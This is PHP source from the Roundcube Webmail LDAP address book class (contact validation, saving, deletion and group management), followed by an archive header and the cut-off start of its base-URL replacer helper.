            $err = [self::ERROR_SEARCH, $this->ldap->get_error()];
        }

        return $err;
    }

    /**
     * Check the given data before saving.
     * If input not valid, the message to display can be fetched using get_error()
     *
     * @param array &$save_data Associative array with data to save
     * @param bool  $autofix    Try to fix/complete record automatically
     *
     * @return bool True if input is valid, False if not.
     */
    public function validate(&$save_data, $autofix = false)
    {
        // validate e-mail addresses
        if (!parent::validate($save_data, $autofix)) {
            return false;
        }

        // check for name input
        if (empty($save_data['name'])) {
            $this->set_error(self::ERROR_VALIDATE, 'nonamewarning');
            return false;
        }

        // Verify that the required fields are set.
        $missing   = [];
        $ldap_data = $this->_map_data($save_data);

        foreach ($this->prop['required_fields'] as $fld) {
            if (!isset($ldap_data[$fld]) || $ldap_data[$fld] === '') {
                $missing[$fld] = 1;
            }
        }

        if (!empty($missing)) {
            // try to complete record automatically
            if ($autofix) {
                $sn_field   = $this->fieldmap['surname'];
                $fn_field   = $this->fieldmap['firstname'];
                $mail_field = $this->fieldmap['email'];

                // try to extract surname and firstname from displayname
                $name_parts = preg_split('/[\s,.]+/', $save_data['name']);

                if ($sn_field && $missing[$sn_field]) {
                    $save_data['surname'] = array_pop($name_parts);
                    unset($missing[$sn_field]);
                }

                if ($fn_field && $missing[$fn_field]) {
                    $save_data['firstname'] = array_shift($name_parts);
                    unset($missing[$fn_field]);
                }

                // try to fix missing e-mail, very often on import
                // from vCard we have email:other only defined
                if ($mail_field && $missing[$mail_field]) {
                    $emails = $this->get_col_values('email', $save_data, true);
                    if (!empty($emails) && ($email = array_first($emails))) {
                        $save_data['email'] = $email;
                        unset($missing[$mail_field]);
                    }
                }
            }

            // TODO: generate message saying which fields are missing
            if (!empty($missing)) {
                $this->set_error(self::ERROR_VALIDATE, 'formincomplete');
                return false;
            }
        }

        return true;
    }

    /**
     * Create a new contact record
     *
     * @param array $save_cols Associative array with save data
     *                         Keys:   Field name with optional section in the form FIELD:SECTION
     *                         Values: Field value. Can be either a string or an array of strings for multiple values
     * @param bool  $check True to check for duplicates first
     *
     * @return mixed The created record ID on success, False on error
     */
    function insert($save_cols, $check = false)
    {
        // Map out the column names to their LDAP ones to build the new entry.
        $newentry = $this->_map_data($save_cols);
        $newentry['objectClass'] = $this->prop['LDAP_Object_Classes'];

        // add automatically generated attributes
        $this->add_autovalues($newentry);

        // Verify that the required fields are set.
        $missing = null;
        foreach ($this->prop['required_fields'] as $fld) {
            if (!isset($newentry[$fld])) {
                $missing[] = $fld;
            }
        }

        // abort process if required fields are missing
        // TODO: generate message saying which fields are missing
        if ($missing) {
            $this->set_error(self::ERROR_VALIDATE, 'formincomplete');
            return false;
        }

        // Build the new entries DN.
        $dn = $this->prop['LDAP_rdn'].'='.rcube_ldap_generic::quote_string($newentry[$this->prop['LDAP_rdn']], true).','.$this->base_dn;

        // Remove attributes that need to be added separately (child objects)
        $xfields = [];
        if (!empty($this->prop['sub_fields']) && is_array($this->prop['sub_fields'])) {
            foreach (array_keys($this->prop['sub_fields']) as $xf) {
                if (!empty($newentry[$xf])) {
                    $xfields[$xf] = $newentry[$xf];
                    unset($newentry[$xf]);
                }
            }
        }

        if (!$this->ldap->add_entry($dn, $newentry)) {
            $this->set_error(self::ERROR_SAVING, 'errorsaving');
            return false;
        }

        foreach ($xfields as $xidx => $xf) {
            $xdn = $xidx.'='.rcube_ldap_generic::quote_string($xf).','.$dn;
            $xf = [
                $xidx => $xf,
                'objectClass' => (array) $this->prop['sub_fields'][$xidx],
            ];

            $this->ldap->add_entry($xdn, $xf);
        }

        $dn = self::dn_encode($dn);

        // add new contact to the selected group
        if ($this->group_id) {
            $this->add_to_group($this->group_id, $dn);
        }

        return $dn;
    }

    /**
     * Update a specific contact record
     *
     * @param mixed $id        Record identifier
     * @param array $save_cols Hash array with save data
     *
     * @return bool True on success, False on error
     */
    function update($id, $save_cols)
    {
        $record      = $this->get_record($id, true);
        $newdata     = [];
        $replacedata = [];
        $deletedata  = [];
        $subdata     = [];
        $subdeldata  = [];
        $subnewdata  = [];
        $ldap_data   = $this->_map_data($save_cols);
        $old_data    = $record['_raw_attrib'];

        // special handling of photo col
        if ($photo_fld = $this->fieldmap['photo']) {
            // undefined means keep old photo
            if (!array_key_exists('photo', $save_cols)) {
                $ldap_data[$photo_fld] = $record['photo'];
            }
        }

        foreach ($this->fieldmap as $fld) {
            if ($fld) {
                $val = $ldap_data[$fld];
                $old = $old_data[$fld];
                // remove empty array values
                if (is_array($val)) {
                    $val = array_filter($val);
                }
                // $this->_map_data() result and _raw_attrib use different format
                // make sure comparing array with one element with a string works as expected
                if (is_array($old) && count($old) == 1 && !is_array($val)) {
                    $old = array_pop($old);
                }
                if (is_array($val) && count($val) == 1 && !is_array($old)) {
                    $val = array_pop($val);
                }
                // Subentries must be handled separately
                if (!empty($this->prop['sub_fields']) && isset($this->prop['sub_fields'][$fld])) {
                    if ($old != $val) {
                        if ($old !== null) {
                            $subdeldata[$fld] = $old;
                        }
                        if ($val) {
                            $subnewdata[$fld] = $val;
                        }
                    }
                    else if ($old !== null) {
                        $subdata[$fld] = $old;
                    }
                    continue;
                }

                // The field does exist compare it to the ldap record.
                if ($old != $val) {
                    // Changed, but find out how.
                    if ($old === null) {
                        // Field was not set prior, need to add it.
                        $newdata[$fld] = $val;
                    }
                    else if ($val == '') {
                        // Field supplied is empty, verify that it is not required.
                        if (!in_array($fld, $this->prop['required_fields'])) {
                            // ...It is not, safe to clear.
                            // #1488420: Workaround "ldap_mod_del(): Modify: Inappropriate matching in..."
                            // jpegPhoto attribute require an array here. It looks to me that it works for other attribs too
                            $deletedata[$fld] = [];
                            //$deletedata[$fld] = $old_data[$fld];
                        }
                    }
                    else {
                        // The data was modified, save it out.
                        $replacedata[$fld] = $val;
                    }
                }
            }
        }

        // console($old_data, $ldap_data, '----', $newdata, $replacedata, $deletedata, '----', $subdata, $subnewdata, $subdeldata);

        $dn = self::dn_decode($id);

        // Update the entry as required.
        if (!empty($deletedata)) {
            // Delete the fields.
            if (!$this->ldap->mod_del($dn, $deletedata)) {
                $this->set_error(self::ERROR_SAVING, 'errorsaving');
                return false;
            }
        }

        if (!empty($replacedata)) {
            // Handle RDN change
            if (!empty($replacedata[$this->prop['LDAP_rdn']])) {
                $newdn = $this->prop['LDAP_rdn'] . '='
                    . rcube_ldap_generic::quote_string($replacedata[$this->prop['LDAP_rdn']], true)
                    . ',' . $this->base_dn;

                if ($dn != $newdn) {
                    $newrdn = $this->prop['LDAP_rdn'] . '='
                        . rcube_ldap_generic::quote_string($replacedata[$this->prop['LDAP_rdn']], true);
                    unset($replacedata[$this->prop['LDAP_rdn']]);
                }
            }
            // Replace the fields.
            if (!empty($replacedata)) {
                if (!$this->ldap->mod_replace($dn, $replacedata)) {
                    $this->set_error(self::ERROR_SAVING, 'errorsaving');
                    return false;
                }
            }
        }

        // RDN change, we need to remove all sub-entries
        if (!empty($newrdn)) {
            $subdeldata = array_merge($subdeldata, $subdata);
            $subnewdata = array_merge($subnewdata, $subdata);
        }

        // remove sub-entries
        if (!empty($subdeldata)) {
            foreach ($subdeldata as $fld => $val) {
                $subdn = $fld.'='.rcube_ldap_generic::quote_string($val).','.$dn;
                if (!$this->ldap->delete_entry($subdn)) {
                    return false;
                }
            }
        }

        if (!empty($newdata)) {
            // Add the fields.
            if (!$this->ldap->mod_add($dn, $newdata)) {
                $this->set_error(self::ERROR_SAVING, 'errorsaving');
                return false;
            }
        }

        // Handle RDN change
        if (!empty($newrdn) && !empty($newdn)) {
            if (!$this->ldap->rename($dn, $newrdn, null, true)) {
                $this->set_error(self::ERROR_SAVING, 'errorsaving');
                return false;
            }

            $dn    = self::dn_encode($dn);
            $newdn = self::dn_encode($newdn);

            // change the group membership of the contact
            if ($this->groups) {
                $group_ids = $this->get_record_groups($dn);
                foreach (array_keys($group_ids) as $group_id) {
                    $this->remove_from_group($group_id, $dn);
                    $this->add_to_group($group_id, $newdn);
                }
            }

            $dn = self::dn_decode($newdn);
        }

        // add sub-entries
        if (!empty($subnewdata)) {
            foreach ($subnewdata as $fld => $val) {
                $subdn = $fld.'='.rcube_ldap_generic::quote_string($val).','.$dn;
                $xf = [
                    $fld => $val,
                    'objectClass' => (array) $this->prop['sub_fields'][$fld],
                ];
                $this->ldap->add_entry($subdn, $xf);
            }
        }

        return $newdn ?? true;
    }

    /**
     * Mark one or more contact records as deleted
     *
     * @param array $ids   Record identifiers
     * @param bool  $force Remove record(s) irreversible (unsupported)
     *
     * @return int|bool Number of deleted records on success, False on error
     */
    function delete($ids, $force = true)
    {
        if (!is_array($ids)) {
            // Not an array, break apart the encoded DNs.
            $ids = explode(',', $ids);
        }

        foreach ($ids as $id) {
            $dn = self::dn_decode($id);

            // Need to delete all sub-entries first
            if ($this->sub_filter) {
                if ($entries = $this->ldap->list_entries($dn, $this->sub_filter)) {
                    foreach ($entries as $entry) {
                        if (!$this->ldap->delete_entry($entry['dn'])) {
                            $this->set_error(self::ERROR_SAVING, 'errorsaving');
                            return false;
                        }
                    }
                }
            }

            // Delete the record.
            if (!$this->ldap->delete_entry($dn)) {
                $this->set_error(self::ERROR_SAVING, 'errorsaving');
                return false;
            }

            // remove contact from all groups where he was a member
            if ($this->groups) {
                $dn        = self::dn_encode($dn);
                $group_ids = $this->get_record_groups($dn);

                foreach (array_keys($group_ids) as $group_id) {
                    $this->remove_from_group($group_id, $dn);
                }
            }
        }

        return count($ids);
    }

    /**
     * Remove all contact records
     *
     * @param bool $with_groups Delete also groups if enabled
     */
    function delete_all($with_groups = false)
    {
        // searching for contact entries
        $dn_list = $this->ldap->list_entries($this->base_dn, $this->prop['filter'] ?: '(objectclass=*)');

        if (!empty($dn_list)) {
            foreach ($dn_list as $idx => $entry) {
                $dn_list[$idx] = self::dn_encode($entry['dn']);
            }
            $this->delete($dn_list);
        }

        if ($with_groups && $this->groups && ($groups = $this->_fetch_groups()) && count($groups)) {
            foreach ($groups as $group) {
                $this->ldap->delete_entry($group['dn']);
            }

            if ($this->cache) {
                $this->cache->remove('groups');
            }
        }
    }

    /**
     * Generate missing attributes as configured
     *
     * @param array &$attrs LDAP record attributes
     */
    protected function add_autovalues(&$attrs)
    {
        if (empty($this->prop['autovalues'])) {
            return;
        }

        $attrvals = [];
        foreach ($attrs as $k => $v) {
            $attrvals['{'.$k.'}'] = is_array($v) ? $v[0] : $v;
        }

        foreach ($this->prop['autovalues'] as $lf => $templ) {
            if (empty($attrs[$lf])) {
                if (strpos($templ, '(') !== false) {
                    // replace {attr} placeholders with (escaped!) attribute values to be safely eval'd
                    $code = preg_replace('/\{\w+\}/', '', strtr($templ, array_map('addslashes', $attrvals)));
                    $res  = false;

                    try {
                        $res = eval("return ($code);");
                    }
                    catch (ParseError $e) {
                        // ignore
                    }

                    if ($res === false) {
                        rcube::raise_error([
                                'code' => 505, 'file' => __FILE__, 'line' => __LINE__,
                                'message' => "Expression parse error on: ($code)"
                            ], true, false);
                        continue;
                    }

                    $attrs[$lf] = $res;
                }
                else {
                    // replace {attr} placeholders with concrete attribute values
                    $attrs[$lf] = preg_replace('/\{\w+\}/', '', strtr($templ, $attrvals));
                }
            }
        }
    }

    /**
     * Converts LDAP entry into an array
     */
    private function _ldap2result($rec)
    {
        $out      = ['_type' => 'person'];
        $fieldmap = $this->fieldmap;

        if (!empty($rec['dn'])) {
            $out[$this->primary_key] = self::dn_encode($rec['dn']);
        }

        // determine record type
        if ($this->is_group_entry($rec)) {
            $out['_type']    = 'group';
            $out['readonly'] = true;

            if (!empty($this->group_data['name_attr'])) {
                $fieldmap['name'] = $this->group_data['name_attr'];
            }
            else if (!empty($this->prop['groups']['name_attr'])) {
                $fieldmap['name'] = $this->prop['groups']['name_attr'];
            }
        }

        // assign object type from object class mapping
        if (!empty($this->prop['class_type_map'])) {
            foreach (array_map('strtolower', (array)$rec['objectclass']) as $objcls) {
                if (!empty($this->prop['class_type_map'][$objcls])) {
                    $out['_type'] = $this->prop['class_type_map'][$objcls];
                    break;
                }
            }
        }

        foreach ($fieldmap as $rf => $lf) {
            if (!isset($rec[$lf])) {
                continue;
            }

            $entry = $rec[$lf];

            // we might be dealing with normalized and non-normalized data
            if (!is_array($entry) || !isset($entry['count'])) {
                $entry = (array) $entry;
                $entry['count'] = count($entry);
            }

            for ($i=0; $i < $entry['count']; $i++) {
                if (!($value = $entry[$i])) {
                    continue;
                }

                list($col, $subtype) = rcube_utils::explode(':', $rf);
                $out['_raw_attrib'][$lf][$i] = $value;

                if ($col == 'email' && $this->mail_domain && !strpos($value, '@')) {
                    $out[$rf][] = sprintf('%s@%s', $value, $this->mail_domain);
                }
                else if (in_array($col, ['street', 'zipcode', 'locality', 'country', 'region'])) {
                    $out['address' . ($subtype ? ':' : '') . $subtype][$i][$col] = $value;
                }
                else if ($col == 'address' && strpos($value, '$') !== false) {
                    // address data is represented as string separated with $
                    list($out[$rf][$i]['street'], $out[$rf][$i]['locality'], $out[$rf][$i]['zipcode'], $out[$rf][$i]['country']) = explode('$', $value);
                }
                else if ($entry['count'] > 1) {
                    $out[$rf][] = $value;
                }
                else {
                    $out[$rf] = $value;
                }
            }

            // Make sure name fields aren't arrays (#1488108)
            if (!empty($out[$rf]) && is_array($out[$rf]) && in_array($rf, ['name', 'surname', 'firstname', 'middlename', 'nickname'])) {
                $out[$rf] = $out['_raw_attrib'][$lf] = $out[$rf][0];
            }
        }

        return $out;
    }

    /**
     * Return LDAP attribute(s) for the given field
     */
    private function _map_field($field)
    {
        if (isset($this->coltypes[$field]['attributes'])) {
            return (array) $this->coltypes[$field]['attributes'];
        }

        return [];
    }

    /**
     * Convert a record data set into LDAP field attributes
     */
    private function _map_data($save_cols)
    {
        // flatten composite fields first
        foreach ($this->coltypes as $col => $colprop) {
            if (!empty($colprop['childs']) && is_array($colprop['childs'])) {
                foreach ($this->get_col_values($col, $save_cols, false) as $subtype => $childs) {
                    $subtype = $subtype ? ':'.$subtype : '';
                    foreach ($childs as $i => $child_values) {
                        foreach ((array)$child_values as $childcol => $value) {
                            $save_cols[$childcol.$subtype][$i] = $value;
                        }
                    }
                }
            }

            // if addresses are to be saved as serialized string, do so
            if (!empty($colprop['serialized']) && is_array($colprop['serialized'])) {
               foreach ($colprop['serialized'] as $subtype => $delim) {
                  $key = $col.':'.$subtype;
                  foreach ((array)$save_cols[$key] as $i => $val) {
                     $values = [$val['street'], $val['locality'], $val['zipcode'], $val['country']];
                     $save_cols[$key][$i] = count(array_filter($values)) ? implode($delim, $values) : null;
                 }
               }
            }
        }

        $ldap_data = [];
        foreach ($this->fieldmap as $rf => $fld) {
            $val = $save_cols[$rf];

            // check for value in base field (e.g. email instead of email:foo)
            list($col, $subtype) = rcube_utils::explode(':', $rf);
            if (!$val && !empty($save_cols[$col])) {
                $val = $save_cols[$col];
                unset($save_cols[$col]);  // use this value only once
            }
            else if (!$val && !$subtype) {
                // extract values from subtype cols
                $val = $this->get_col_values($col, $save_cols, true);
            }

            if (is_array($val)) {
                $val = array_filter($val);  // remove empty entries
            }

            if ($fld && $val) {
                // The field does exist, add it to the entry.
                $ldap_data[$fld] = $val;
            }
        }

        foreach ($this->formats as $fld => $format) {
            if (empty($ldap_data[$fld])) {
                continue;
            }

            switch ($format['type']) {
            case 'date':
                if ($dt = rcube_utils::anytodatetime($ldap_data[$fld])) {
                    $ldap_data[$fld] = $dt->format($format['format']);
                }
                break;
            }
        }

        return $ldap_data;
    }

    /**
     * Returns unified attribute name (resolving aliases)
     */
    private static function _attr_name($name)
    {
        // list of known attribute aliases
        static $aliases = [
            'gn'            => 'givenname',
            'rfc822mailbox' => 'email',
            'userid'        => 'uid',
            'emailaddress'  => 'email',
            'pkcs9email'    => 'email',
        ];

        $suffix = '';

        if (strpos($name, ':')) {
            list($name, $limit) = explode(':', $name, 2);
            $suffix = $limit ? ":$limit" : '';
        }

        $name = strtolower($name);

        return ($aliases[$name] ?? $name) . $suffix;
    }

    /**
     * Determines whether the given LDAP entry is a group record
     */
    private function is_group_entry($entry)
    {
        if (empty($entry['objectclass'])) {
            return false;
        }

        $classes = array_map('strtolower', (array)$entry['objectclass']);

        return count(array_intersect(array_keys($this->group_types), $classes)) > 0;
    }

    /**
     * Activate/deactivate debug mode
     *
     * @param bool $dbg True if LDAP commands should be logged
     */
    function set_debug($dbg = true)
    {
        $this->debug = $dbg;

        if ($this->ldap) {
            $this->ldap->config_set('debug', $dbg);
        }
    }

    /**
     * Setter for the current group
     *
     * @param mixed $group_id Group identifier
     */
    function set_group($group_id)
    {
        if ($group_id) {
            $this->group_id = $group_id;
            $this->group_data = $this->get_group_entry($group_id);
        }
        else {
            $this->group_id = 0;
            $this->group_data = null;
        }
    }

    /**
     * List all active contact groups of this source
     *
     * @param string $search Optional search string to match group name
     * @param int    $mode   Matching mode. Sum of rcube_addressbook::SEARCH_*
     *
     * @return array Indexed list of contact groups, each a hash array
     */
    function list_groups($search = null, $mode = 0)
    {
        if (!$this->groups) {
            return [];
        }

        $group_cache = $this->_fetch_groups($search, $mode);
        $groups      = [];

        if ($search) {
            foreach ($group_cache as $group) {
                if ($this->compare_search_value('name', $group['name'], mb_strtolower($search), $mode)) {
                    $groups[] = $group;
                }
            }
        }
        else {
            $groups = $group_cache;
        }

        return array_values($groups);
    }

    /**
     * Fetch groups from server
     */
    private function _fetch_groups($search = null, $mode = 0, $vlv_page = null)
    {
        // reset group search cache
        if ($search !== null && $vlv_page === null) {
            $this->group_search_cache = null;
        }
        // return in-memory cache from previous search results
        else if (is_array($this->group_search_cache) && $vlv_page === null) {
            return $this->group_search_cache;
        }

        // special case: list groups from 'group_filters' config
        if ($vlv_page === null && $search === null && !empty($this->prop['group_filters'])) {
            $groups = [];
            $rcube  = rcube::get_instance();

            // list regular groups configuration as special filter
            if (!empty($this->prop['groups']['filter'])) {
                $id = '__groups__';
                $groups[$id] = ['ID' => $id, 'name' => $rcube->gettext('groups'), 'virtual' => true] + $this->prop['groups'];
            }

            foreach ($this->prop['group_filters'] as $id => $prop) {
                $groups[$id] = $prop + ['ID' => $id, 'name' => ucfirst($id), 'virtual' => true, 'base_dn' => $this->base_dn];
            }

            return $groups;
        }

        if ($this->cache && $search === null && $vlv_page === null && ($groups = $this->cache->get('groups')) !== null) {
            return $groups;
        }

        $base_dn    = $this->groups_base_dn;
        $filter     = $this->prop['groups']['filter'] ?? null;
        $scope      = $this->prop['groups']['scope'] ?? 'sub';
        $name_attr  = !empty($this->prop['groups']['name_attr']) ? $this->prop['groups']['name_attr'] : 'cn';
        $email_attr = !empty($this->prop['groups']['email_attr']) ? $this->prop['groups']['email_attr'] : 'mail';
        $sort_attrs = (array) (!empty($this->prop['groups']['sort']) ? $this->prop['groups']['sort'] : $name_attr);
        $sort_attr  = array_first($sort_attrs) ?: $name_attr;
        $page_size  = 200;

        $ldap = $this->ldap;

        // use vlv to list groups
        if (!empty($this->prop['groups']['vlv'])) {
            if (empty($this->prop['groups']['sort'])) {
                $this->prop['groups']['sort'] = $sort_attrs;
            }

            $ldap = clone $this->ldap;
            $ldap->config_set($this->prop['groups']);
            $ldap->set_vlv_page($vlv_page+1, $page_size);
        }

        $props = ['sort' => $this->prop['groups']['sort'] ?? null];
        $attrs = array_unique(['dn', 'objectClass', $name_attr, $email_attr, $sort_attr]);

        // add search filter
        if ($search !== null) {
            // set wildcards
            $wp = $ws = '';
            if (!empty($this->prop['fuzzy_search']) && !($mode & rcube_addressbook::SEARCH_STRICT)) {
                $ws = '*';
                if (!($mode & rcube_addressbook::SEARCH_PREFIX)) {
                    $wp = '*';
                }
            }
            $filter = "(&$filter($name_attr=$wp" . rcube_ldap_generic::quote_string($search) . "$ws))";
            $props['search'] = $wp . $search . $ws;
        }

        $ldap_data = $ldap->search($base_dn, $filter, $scope, $attrs, $props);

        if ($ldap_data === false) {
            return [];
        }

        $groups          = [];
        $group_sortnames = [];
        $group_count     = $ldap_data->count();

        foreach ($ldap_data as $entry) {
            // DN is mandatory
            if (empty($entry['dn'])) {
                $entry['dn'] = $ldap_data->get_dn();
            }

            $group_name = is_array($entry[$name_attr]) ? $entry[$name_attr][0] : $entry[$name_attr];
            $group_id   = self::dn_encode($entry['dn']);

            $groups[$group_id]['ID'] = $group_id;
            $groups[$group_id]['dn'] = $entry['dn'];
            $groups[$group_id]['name'] = $group_name;
            $groups[$group_id]['member_attr'] = $this->get_group_member_attr($entry['objectclass'] ?? null);

            // list email attributes of a group
            for ($j=0; !empty($entry[$email_attr]) && $j < $entry[$email_attr]['count']; $j++) {
                if (strpos($entry[$email_attr][$j], '@') > 0)
                    $groups[$group_id]['email'][] = $entry[$email_attr][$j];
            }

            $group_sortnames[] = mb_strtolower($entry[$sort_attr][0] ?? '');
        }

        // recursive call can exit here
        if ($vlv_page > 0) {
            return $groups;
        }

        // call recursively until we have fetched all groups
        if (!empty($this->prop['groups']['vlv'])) {
            while ($group_count == $page_size) {
                $next_page   = $this->_fetch_groups($search, $mode, ++$vlv_page);
                $groups      = array_merge($groups, $next_page);
                $group_count = count($next_page);
            }
        }
        // when using VLV the list of groups is already sorted
        else {
            array_multisort($group_sortnames, SORT_ASC, SORT_STRING, $groups);
        }

        // cache this
        if ($this->cache && $search === null) {
            $this->cache->set('groups', $groups);
        }
        else if ($search !== null) {
            $this->group_search_cache = $groups;
        }

        return $groups;
    }

    /**
     * Fetch a group entry from LDAP and save in local cache
     */
    private function get_group_entry($group_id)
    {
        $group_cache = $this->_fetch_groups();

        // add group record to cache if it isn't yet there
        if (!isset($group_cache[$group_id])) {
            $name_attr = $this->prop['groups']['name_attr'];
            $dn    = self::dn_decode($group_id);
            $attrs = ['dn','objectClass','member','uniqueMember','memberURL',$name_attr,$this->fieldmap['email']];

            if ($list = $this->ldap->read_entries($dn, '(objectClass=*)', $attrs)) {
                $entry      = $list[0];
                $group_name = is_array($entry[$name_attr]) ? $entry[$name_attr][0] : $entry[$name_attr];
                $classes    = !empty($entry['objectclass']) ? $entry['objectclass'] : [];

                $group_cache[$group_id]['ID'] = $group_id;
                $group_cache[$group_id]['dn'] = $dn;
                $group_cache[$group_id]['name'] = $group_name;
                $group_cache[$group_id]['member_attr'] = $this->get_group_member_attr($classes);
            }
            else {
                $group_cache[$group_id] = false;
            }

            if ($this->cache) {
                $this->cache->set('groups', $group_cache);
            }
        }

        return $group_cache[$group_id];
    }

    /**
     * Get group properties such as name and email address(es)
     *
     * @param string $group_id Group identifier
     *
     * @return array Group properties as hash array
     */
    function get_group($group_id)
    {
        $group_data = $this->get_group_entry($group_id);
        unset($group_data['dn'], $group_data['member_attr']);

        return $group_data;
    }

    /**
     * Create a contact group with the given name
     *
     * @param string $group_name The group name
     *
     * @return mixed False on error, array with record props in success
     */
    function create_group($group_name)
    {
        $new_dn      = 'cn=' . rcube_ldap_generic::quote_string($group_name, true) . ',' . $this->groups_base_dn;
        $new_gid     = self::dn_encode($new_dn);
        $member_attr = $this->get_group_member_attr();
        $name_attr   = $this->prop['groups']['name_attr'] ?: 'cn';
        $new_entry   = [
            'objectClass' => $this->prop['groups']['object_classes'],
            $name_attr    => $group_name,
            $member_attr  => '',
        ];

        if (!$this->ldap->add_entry($new_dn, $new_entry)) {
            $this->set_error(self::ERROR_SAVING, 'errorsaving');
            return false;
        }

        if ($this->cache) {
            $this->cache->remove('groups');
        }

        return ['id' => $new_gid, 'name' => $group_name];
    }

    /**
     * Delete the given group and all linked group members
     *
     * @param string $group_id Group identifier
     *
     * @return bool True on success, false if no data was changed
     */
    function delete_group($group_id)
    {
        $group_cache = $this->_fetch_groups();
        $del_dn      = $group_cache[$group_id]['dn'];

        if (!$this->ldap->delete_entry($del_dn)) {
            $this->set_error(self::ERROR_SAVING, 'errorsaving');
            return false;
        }

        if ($this->cache) {
            unset($group_cache[$group_id]);
            $this->cache->set('groups', $group_cache);
        }

        return true;
    }

    /**
     * Rename a specific contact group
     *
     * @param string $group_id Group identifier
     * @param string $new_name New name to set for this group
     * @param string &$new_gid New group identifier (if changed, otherwise don't set)
     *
     * @return bool New name on success, false if no data was changed
     */
    function rename_group($group_id, $new_name, &$new_gid)
    {
        $group_cache = $this->_fetch_groups();
        $old_dn      = $group_cache[$group_id]['dn'];
        $new_rdn     = "cn=" . rcube_ldap_generic::quote_string($new_name, true);
        $new_gid     = self::dn_encode($new_rdn . ',' . $this->groups_base_dn);

        if (!$this->ldap->rename($old_dn, $new_rdn, null, true)) {
            $this->set_error(self::ERROR_SAVING, 'errorsaving');
            return false;
        }

        if ($this->cache) {
            $this->cache->remove('groups');
        }

        return $new_name;
    }

    /**
     * Add the given contact records the a certain group
     *
     * @param string       $group_id    Group identifier
     * @param array|string $contact_ids List of contact identifiers to be added
     *
     * @return int Number of contacts added
     */
    function add_to_group($group_id, $contact_ids)
    {
        $group_cache = $this->_fetch_groups();
        $member_attr = $group_cache[$group_id]['member_attr'];
        $group_dn    = $group_cache[$group_id]['dn'];
        $new_attrs   = [];

        if (!is_array($contact_ids)) {
            $contact_ids = explode(',', $contact_ids);
        }

        foreach ($contact_ids as $id) {
            $new_attrs[$member_attr][] = self::dn_decode($id);
        }

        if (!$this->ldap->mod_add($group_dn, $new_attrs)) {
            $this->set_error(self::ERROR_SAVING, 'errorsaving');
            return 0;
        }

        if ($this->cache) {
            $this->cache->remove('groups');
        }

        return count($new_attrs[$member_attr]);
    }

    /**
     * Remove the given contact records from a certain group
     *
     * @param string       $group_id    Group identifier
     * @param array|string $contact_ids List of contact identifiers to be removed
     *
     * @return int Number of deleted group members
     */
    function remove_from_group($group_id, $contact_ids)
    {
        $group_cache = $this->_fetch_groups();
        $member_attr = $group_cache[$group_id]['member_attr'];
        $group_dn    = $group_cache[$group_id]['dn'];
        $del_attrs   = [];

        if (!is_array($contact_ids)) {
            $contact_ids = explode(',', $contact_ids);
        }

        foreach ($contact_ids as $id) {
            $del_attrs[$member_attr][] = self::dn_decode($id);
        }

        if (!$this->ldap->mod_del($group_dn, $del_attrs)) {
            $this->set_error(self::ERROR_SAVING, 'errorsaving');
            return 0;
        }

        if ($this->cache) {
            $this->cache->remove('groups');
        }

        return count($del_attrs[$member_attr]);
    }

    /**
     * Get group assignments of a specific contact record
     *
     * @param mixed $contact_id Record identifier
     *
     * @return array List of assigned groups as ID=>Name pairs
     * @since 0.5-beta
     */
    function get_record_groups($contact_id)
    {
        if (!$this->groups) {
            return [];
        }

        $base_dn     = $this->groups_base_dn;
        $contact_dn  = self::dn_decode($contact_id);
        $name_attr   = $this->prop['groups']['name_attr'] ?: 'cn';
        $member_attr = $this->get_group_member_attr();
        $add_filter  = '';

        if ($member_attr != 'member' && $member_attr != 'uniqueMember') {
            $add_filter = "($member_attr=$contact_dn)";
        }

        $filter = strtr("(|(member=$contact_dn)(uniqueMember=$contact_dn)$add_filter)", ["\\" => "\\\\"]);

        $ldap_data = $this->ldap->search($base_dn, $filter, 'sub', ['dn', $name_attr]);

        if ($ldap_data === false) {
            return [];
        }

        $groups = [];
        foreach ($ldap_data as $entry) {
            if (empty($entry['dn'])) {
                $entry['dn'] = $ldap_data->get_dn();
            }

            $group_name = $entry[$name_attr][0];
            $group_id   = self::dn_encode($entry['dn']);
            $groups[$group_id] = $group_name;
        }

        return $groups;
    }

    /**
     * Detects group member attribute name
     */
    private function get_group_member_attr($object_classes = [], $default = 'member')
    {
        if (empty($object_classes) && !empty($this->prop['groups']['object_classes'])) {
            $object_classes = $this->prop['groups']['object_classes'];
        }

        if (!empty($object_classes)) {
            foreach ((array) $object_classes as $oc) {
                if (!empty($this->group_types[strtolower($oc)])) {
                    return $this->group_types[strtolower($oc)];
                }
            }
        }

        if (!empty($this->prop['groups']['member_attr'])) {
            return $this->prop['groups']['member_attr'];
        }

        return $default;
    }

    /**
     * HTML-safe DN string encoding
     *
     * @param string $str DN string
     *
     * @return string Encoded HTML identifier string
     */
    static function dn_encode($str)
    {
        // @TODO: to make output string shorter we could probably
        //        remove dc=* items from it
        return rtrim(strtr(base64_encode($str), '+/', '-_'), '=');
    }

    /**
     * Decodes DN string encoded with _dn_encode()
     *
     * @param string $str Encoded HTML identifier string
     *
     * @return string DN string
     */
    static function dn_decode($str)
    {
        $str = str_pad(strtr($str, '-_', '+/'), strlen($str) % 4, '=', STR_PAD_RIGHT);
        return base64_decode($str);
    }
}
PK
h�\�G`��-program/lib/Roundcube/rcube_base_replacer.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide basic functions for base URL replacement                    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Helper class to turn relative urls into absolute ones
 * using a predefined base
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_base_replacer
{
    private $base_url;


    /**
     * Class constructor
     *
     * @param string $base Base URL
     */
    public function __construct($base)
    {
        $this->base_url = $base;
    }

    /**
     * Replace callback
     *
     * @param array $matches Matching entries
     *
     * @return string Replaced text with absolute URL
     */
    public function callback($matches)
    {
        return $matches[1] . '="' . self::absolute_url($matches[3], $this->base_url) . '"';
    }

    /**
     * Convert base URLs to absolute ones
     *
     * @param string $body Text body
     *
     * @return string Replaced text
     */
    public function replace($body)
    {
        $regexp = [
            '/(src|background|href)=(["\']?)([^"\'\s>]+)(\2|\s|>)/i',
            '/(url\s*\()(["\']?)([^"\'\)\s]+)(\2)\)/i',
        ];

        return preg_replace_callback($regexp, [$this, 'callback'], $body);
    }

    /**
